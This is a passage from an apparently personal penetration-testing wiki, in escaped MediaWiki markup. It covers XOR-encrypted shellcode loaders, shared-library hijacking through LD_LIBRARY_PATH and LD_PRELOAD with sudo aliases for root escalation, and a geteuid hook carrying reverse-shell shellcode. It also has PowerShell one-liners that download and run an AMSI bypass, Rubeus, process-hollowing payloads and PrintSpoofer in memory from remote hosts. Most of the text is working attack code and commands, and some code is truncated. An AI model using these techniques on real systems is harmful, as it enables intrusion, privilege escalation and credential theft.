int main (int argc, char **argv)&lt;br /&gt;
{&lt;br /&gt;
        int key = 250;&lt;br /&gt;
        int buf_len = (int) sizeof(buf);&lt;br /&gt;
        // Decode the payload&lt;br /&gt;
        for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
==== Compile the shellcode loader ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -o simpleLoader simpleLoader.c -z execstack&lt;br /&gt;
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.&lt;br /&gt;
&lt;br /&gt;
# If the above dont work, try this&lt;br /&gt;
gcc -o sh.elf sh.c -z execstack -static&lt;br /&gt;
upx --best --lzma -o shupx.elf ./sh.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Simple XOR Shellcode Encryption Cheatsheet ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Simple XOR Encrypt Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x6a\x39\x58\x0f\x05...&amp;quot;;  // Original Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                          // XOR Key&lt;br /&gt;
    int payload_length = (int) sizeof(buf);      // Length of Shellcode&lt;br /&gt;
    // XOR Encrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ gcc -o encoder.out encoder.c -z execstack&lt;br /&gt;
kali@kali:~$ ./encoder.out&lt;br /&gt;
\x20\x73\x12\x45\x4F\x02\xCF\x8A\x3E\x42\x02\x7B\xB5\x20\x76\x12\x45...\x20\x4B\x14\x4&lt;br /&gt;
5\x4F\x02\xCF\x8A\x32\x71\x02\xDD\x02\xF3\x48&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Execute XOR Decrypted Shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
unsigned char buf[] = &amp;quot;\x20\x73\x12\x45...&amp;quot;;  // XOR Encrypted Shellcode&lt;br /&gt;
int main (int argc, char **argv) {&lt;br /&gt;
    char xor_key = &#039;J&#039;;                       // XOR Key&lt;br /&gt;
    int arraysize = (int) sizeof(buf);        // Length of Encrypted Shellcode&lt;br /&gt;
    // XOR Decrypt Each Byte&lt;br /&gt;
    for (int i=0; i&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Points&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* The shellcode is encrypted using XOR operation against a key (e.g., &#039;J&#039;).&lt;br /&gt;
&lt;br /&gt;
* The encrypted shellcode must be decrypted using the same XOR key before execution.&lt;br /&gt;
&lt;br /&gt;
* After decryption, the shellcode is cast to a function pointer and executed.&lt;br /&gt;
&lt;br /&gt;
=== Shared Libraries ===&lt;br /&gt;
&lt;br /&gt;
Linux uses a different program format than Windows. While Linux utilizes &#039;&#039;&#039;Executable and Linkable Format (ELF)&#039;&#039;&#039;, Windows uses the &#039;&#039;&#039;Portable Executable (PE)&#039;&#039;&#039; format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;ELF Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Executable_and_Linkable_Format Wikipedia]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;PE Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Portable_Executable Wikipedia]&lt;br /&gt;
&lt;br /&gt;
Despite their differences, both systems share code with other applications. Windows employs &#039;&#039;&#039;Dynamic-Link Library (DLL)&#039;&#039;&#039; files, whereas Linux uses &#039;&#039;&#039;Shared Libraries&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
When a Linux application requires a library, it searches for it in the following order:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RPATH&#039;&#039;&#039;: Directories within the application&#039;s RPATH value.&lt;br /&gt;
[https://en.wikipedia.org/wiki/Rpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;LD_LIBRARY_PATH&#039;&#039;&#039;: Directories specified in this environment variable.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RUNPATH&#039;&#039;&#039;: Directories in the application’s RUNPATH value.&lt;br /&gt;
[https://amir.rachum.com/blog/2016/09/17/shared-libraries/#rpath-and-runpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;/etc/ld.so.conf&#039;&#039;&#039;: Directories mentioned here.&lt;br /&gt;
[https://man7.org/linux/man-pages/man8/ldconfig.8.html Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System Library Directories&#039;&#039;&#039;: &amp;lt;code&amp;gt; ​/lib​ ,  ​/lib64​ ,  ​/usr/lib​ ,  ​/usr/lib64​ ,  ​/usr/local/lib​ ,  ​/usr/local/lib64&amp;lt;/code&amp;gt;​ , and more.&lt;br /&gt;
&lt;br /&gt;
Because of this predefined search sequence, it&#039;s possible to place or hijack shared libraries to control an application&#039;s behavior.&lt;br /&gt;
&lt;br /&gt;
==== Hijacking Shared Library via LD_LIBRARY_PATH ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Writing the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload file:&lt;br /&gt;
&lt;br /&gt;
 ​/home/offsec/ldlib/hax.c​ &lt;br /&gt;
&lt;br /&gt;
* Include headers:&lt;br /&gt;
&lt;br /&gt;
* Define the constructor function:&lt;br /&gt;
&lt;br /&gt;
* Function payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include  // for setuid/setgid&lt;br /&gt;
// This function will be executed automatically when the shared library is loaded.&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
void runmahpayload() {&lt;br /&gt;
    // Elevate privileges to root user.&lt;br /&gt;
    setuid(0); // Set the effective user ID to root.&lt;br /&gt;
    setgid(0); // Set the effective group ID to root.&lt;br /&gt;
    // Print a message to indicate the DLL hijacking is in progress.&lt;br /&gt;
    printf(&amp;quot;DLL HIJACKING IN PROGRESS \n&amp;quot;);&lt;br /&gt;
    // Execute the system command to create a file in /tmp called &amp;quot;haxso.txt.&amp;quot;&lt;br /&gt;
    // This can be used as an indicator that the malicious code was executed.&lt;br /&gt;
    system(&amp;quot;touch /tmp/haxso.txt&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Compiling the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Compile shared library object file:&lt;br /&gt;
&lt;br /&gt;
* Compile the finished shared library file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -o libhax.so hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Identifying the Target Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Determine libraries used by a binary, e.g.,  ​top​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ldd /usr/bin/top&lt;br /&gt;
linux-vdso.so.1 (0x00007ffd135c5000)&lt;br /&gt;
libprocps.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libprocps.so.6 (0x00007ff5ab935000)&lt;br /&gt;
libtinfo.so.5 =&amp;gt; /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007ff5ab70b000)&lt;br /&gt;
libdl.so.2 =&amp;gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ff5ab507000)&lt;br /&gt;
libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff5ab116000)&lt;br /&gt;
libsystemd.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libsystemd.so.0 (0x00007ff5aae92000)&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2 (0x00007ff5abd9b000)&lt;br /&gt;
librt.so.1 =&amp;gt; /lib/x86_64-linux-gnu/librt.so.1 (0x00007ff5aac8a000)&lt;br /&gt;
liblzma.so.5 =&amp;gt; /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007ff5aaa64000)&lt;br /&gt;
liblz4.so.1 =&amp;gt; /usr/lib/x86_64-linux-gnu/liblz4.so.1 (0x00007ff5aa848000)&lt;br /&gt;
libgcrypt.so.20 =&amp;gt; /lib/x86_64-linux-gnu/libgcrypt.so.20 (0x00007ff5aa52c000)&lt;br /&gt;
libpthread.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ff5aa30d000)&lt;br /&gt;
libgpg-error.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007ff5aa0f8000)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We will use the bottom library. This is likely to be loaded by the application but not likely to be called unless the program encounters an error therefore this shouldn’t prevent normal use of the application.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Preparing for Exploitation:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Set the environment variable:&lt;br /&gt;
&lt;br /&gt;
* Copy the malicious library to hijack a target:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
cp libhax.so libgpg-error.so.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Identifying Missing Symbols:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract symbols associated with the hijacked library:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print &amp;quot;int&amp;quot;,$8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Add the resulting symbols to your source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
int gpgrt_onclose;&lt;br /&gt;
int _gpgrt_putc_overflow;&lt;br /&gt;
int gpgrt_feof_unlocked;&lt;br /&gt;
int gpgrt_vbsprintf;&lt;br /&gt;
int gpgrt_ungetc;&lt;br /&gt;
---REST OF THE CODE---&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We encountered an error stating we&#039;re missing the symbol &amp;quot;gpgrt_lock_lock&amp;quot; with version GPG_ERROR_1.0. Before our library&#039;s initial function could run, the program identified that certain expected symbols were absent. This implies that our fake library doesn&#039;t have all the required components that the original library has. To fix this, we just need to add placeholders for these missing components, since the program isn&#039;t checking their functionality, just their presence. We can also use the &amp;quot;readelf&amp;quot; tool with the &amp;quot;-s&amp;quot; option to check what components the original library contains.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Overcoming Version Errors:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract just symbol names:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print $8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create a symbol map file, e.g.,  ​gpg.map​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
GPG_ERROR_1.0 {    &lt;br /&gt;
gpgrt_onclose;    &lt;br /&gt;
_gpgrt_putc_overflow;    &lt;br /&gt;
...&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Recompile using the symbol map:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -Wl,--version-script gpg.map -o libgpgerror.so.0 hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Export environment varialbe&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Run the application&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
top&lt;br /&gt;
DLL HIJACKING IN PROGRESS&lt;br /&gt;
top - 14:55:15 up 9 days, 4:35, 2 users, load average: 0.01, 0.01, 0.00 Tasks: 164 total, 1 running, 92 sleeping, 0 stopped, 0 zombie ...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Look for the file our library was supposed to modify in /tmp.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-rw-r-- 1 offsec offsec 0 Jul 10 17:12 /tmp/haxso.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Privilege Escalation &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a .bashrc alias for sudo to include LD_LIBRARY_PATH and use the malicious library example we created to escalate to root privileges.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Add the alias to the .bashrc:&lt;br /&gt;
&lt;br /&gt;
* Source the .bashrc to load the changes:&lt;br /&gt;
&lt;br /&gt;
* Now, run the top utility with sudo:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_LIBRARY_PATH=/home/offsec/ldlib&amp;quot;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
sudo top  &lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-r--r-- 1 root root 0 Aug 11 14:51 /tmp/haxso.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check the /tmp directory for the haxso.txt file. This time it should be owned by the root user, indicating that the malicious library executed with elevated privileges.&lt;br /&gt;
&lt;br /&gt;
=== LD_PRELOAD Exploitation ===&lt;br /&gt;
&lt;br /&gt;
The environment variable LD_PRELOAD, when set on a system, instructs the dynamic linking loader to prioritize a specific shared library to load first. Consequently, the functions within this library take precedence over others that have an identical method signature from different libraries.&lt;br /&gt;
&lt;br /&gt;
==== Reverse shell ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Identifying Potential Applications&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Target applications that the victim frequently uses (e.g.,  ​cp  utility).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Tracing Library Calls&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ ltrace cp&lt;br /&gt;
strrchr(&amp;quot;cp&amp;quot;, &#039;/&#039;) = nil&lt;br /&gt;
...&lt;br /&gt;
geteuid() = 1000&lt;br /&gt;
getenv(&amp;quot;POSIXLY_CORRECT&amp;quot;) = nil&lt;br /&gt;
...&lt;br /&gt;
fflush(0x7f717f0c0680) = 0&lt;br /&gt;
fclose(0x7f717f0c0680) = 0&lt;br /&gt;
+++ exited (status 1) +++&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Creating a Malicious Shared Library&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;: Redefine the  ​geteuid​  function.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Code Sample&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#define _GNU_SOURCE&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
// gcc -Wall -fPIC -z execstack -c -o sharedLibrary_LD_PRELOAD.o sharedLibrary_LD_PRELOAD.c&lt;br /&gt;
// gcc -shared -o sharedLibrary_LD_PRELOAD.so sharedLibrary_LD_PRELOAD.o -ldl&lt;br /&gt;
// msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.67 LPORT=80 -f c&lt;br /&gt;
unsigned char buf[] =&lt;br /&gt;
&amp;quot;\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48&amp;quot;&lt;br /&gt;
&amp;quot;\xb9\x02\x00\x00\x50\xc0\xa8\x31\x43\x51\x48\x89\xe6\x6a\x10&amp;quot;&lt;br /&gt;
&amp;quot;\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58&amp;quot;&lt;br /&gt;
&amp;quot;\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f&amp;quot;&lt;br /&gt;
&amp;quot;\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05&amp;quot;;&lt;br /&gt;
uid_t geteuid(void)&lt;br /&gt;
{&lt;br /&gt;
        // Get the address of the original &#039;geteuid&#039; function&lt;br /&gt;
        typeof(geteuid) *old_geteuid;&lt;br /&gt;
        old_geteuid = dlsym(RTLD_NEXT, &amp;quot;geteuid&amp;quot;);&lt;br /&gt;
        // Fork a new thread based on the current one&lt;br /&gt;
        if (fork() == 0)&lt;br /&gt;
        {&lt;br /&gt;
                // Execute shellcode in the new thread&lt;br /&gt;
                intptr_t pagesize = sysconf(_SC_PAGESIZE);&lt;br /&gt;
                // Make memory executable (required in libs)&lt;br /&gt;
                if (mprotect((void *)(((intptr_t)buf) &amp;amp; ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {&lt;br /&gt;
                        // Handle error&lt;br /&gt;
                        perror(&amp;quot;mprotect&amp;quot;);&lt;br /&gt;
                        return -1;&lt;br /&gt;
                }&lt;br /&gt;
                // Cast and execute&lt;br /&gt;
                int (*ret)() = (int(*)())buf;&lt;br /&gt;
                ret();&lt;br /&gt;
        }&lt;br /&gt;
        else&lt;br /&gt;
        {&lt;br /&gt;
                // Original thread, call the original function&lt;br /&gt;
                printf(&amp;quot;[Hijacked] Returning from function...\n&amp;quot;);&lt;br /&gt;
                return (*old_geteuid)();&lt;br /&gt;
        }&lt;br /&gt;
        // This shouldn&#039;t really execute&lt;br /&gt;
        printf(&amp;quot;[Hijacked] Returning from main...\n&amp;quot;);&lt;br /&gt;
        return -2;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -z execstack -c -o evil_geteuid.o evileuid.c&lt;br /&gt;
gcc -shared -o sharedLibrary_LD_PRELOAD.so evil_geteuid.o -ldl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Triggering the Payload&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setup&#039;&#039;&#039;: Prepare a listener for the payload&#039;s callback.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execution without Preload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setting LD_PRELOAD and Execution&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Clear LD_PRELOAD&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
unset LD_PRELOAD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: If EUID doesn’t match real UID (e.g., when using sudo), dynamic linker ignores LD_PRELOAD.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setting LD_PRELOAD with Sudo&#039;&#039;&#039;: Use an alias in  ​.bashrc​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-13.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Reload &#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039;.bashrc&#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Now run the command&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /etc/passwd /tmp/passwd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-15.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Load Exe in Memory ==&lt;br /&gt;
&lt;br /&gt;
* To load an exe file to memory you have to have access to the source code in order to find out what the namespace is and the class.&lt;br /&gt;
&lt;br /&gt;
* Below are example of how to run &#039;&#039;&#039;Rubeus.exe &#039;&#039;&#039;in memory and run &#039;&#039;&#039;ProcessHollowing payload&#039;&#039;&#039; in memory and run &#039;&#039;&#039;Mimikatz &#039;&#039;&#039;from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
##  Load Rubeus.exe to memory ##&lt;br /&gt;
# First disable AMSI&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/amsi.txt&#039;) | IEX&lt;br /&gt;
# Download Rubeus into memory&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/Rubeus.exe&#039;)&lt;br /&gt;
# Load it as an assembly&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
# Invoke a function&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;purge&amp;quot;.Split())&lt;br /&gt;
# Examples&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt&amp;quot;.Split())&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:svc_file /rc4:08985D3B7B336B046AB92E0B2AAEEAF6 /impersonateuser:administrator /msdsspn:cifs/file02 /ptt&amp;quot;.Split())&lt;br /&gt;
# One liner&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.49.79/Rubeus.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data);[Rubeus.Program]::Main(&amp;quot;hash /password:Password123&amp;quot;.Split())&lt;br /&gt;
&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Run ProcessHollowing in memory ##&lt;br /&gt;
# Where Proc_hol is the namespace, and Program is the class.&lt;br /&gt;
$data2 = (New-Object System.Net.WebClient).DownloadData(&#039;http://92.221.186.47/proc_hol.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data2);[Proc_hol.Program]::Main(&amp;quot;&amp;quot;.Split())&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Using Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
# See OneNote for correct version.&lt;br /&gt;
# Load PrintSpoofer in memory&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://example.com/Invoke-ReflectivePEInjection.ps1&#039;) | IEX&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://example.com/PrintSpoofer.exe&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ExeArgs &amp;quot;-i -c cmd&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Metasploit Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/@tanseejou97/tryhackme-metasploit-meterpreter-walkthrough-17e5bd9c0dc7#:~:text=POST-exploitation%20with%20Meterpreter%201%20Migrate%20migrate%20%5BPID%20of,locate%20files%20with%20potentially%20juice%20information.%204%20Shell [TryHackMe] Metasploit: Meterpreter — walkthrough | by Tanseejou | Medium]&lt;br /&gt;
&lt;br /&gt;
=== Metasploit Unleashed ===&lt;br /&gt;
&lt;br /&gt;
[https://www.offsec.com/metasploit-unleashed/ Metasploit Unleashed - Free Online Ethical Hacking Course | OffSec]&lt;br /&gt;
&lt;br /&gt;
== Running Metasploit as a Daemon ==&lt;br /&gt;
&lt;br /&gt;
To start Metasploit as a daemon, you need to run the msfd utility, which opens on port 55554 by default.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfd&lt;br /&gt;
[*] Initializing msfd...&lt;br /&gt;
[*] Running msfd...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To connect to the daemon, use netcat like the following example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
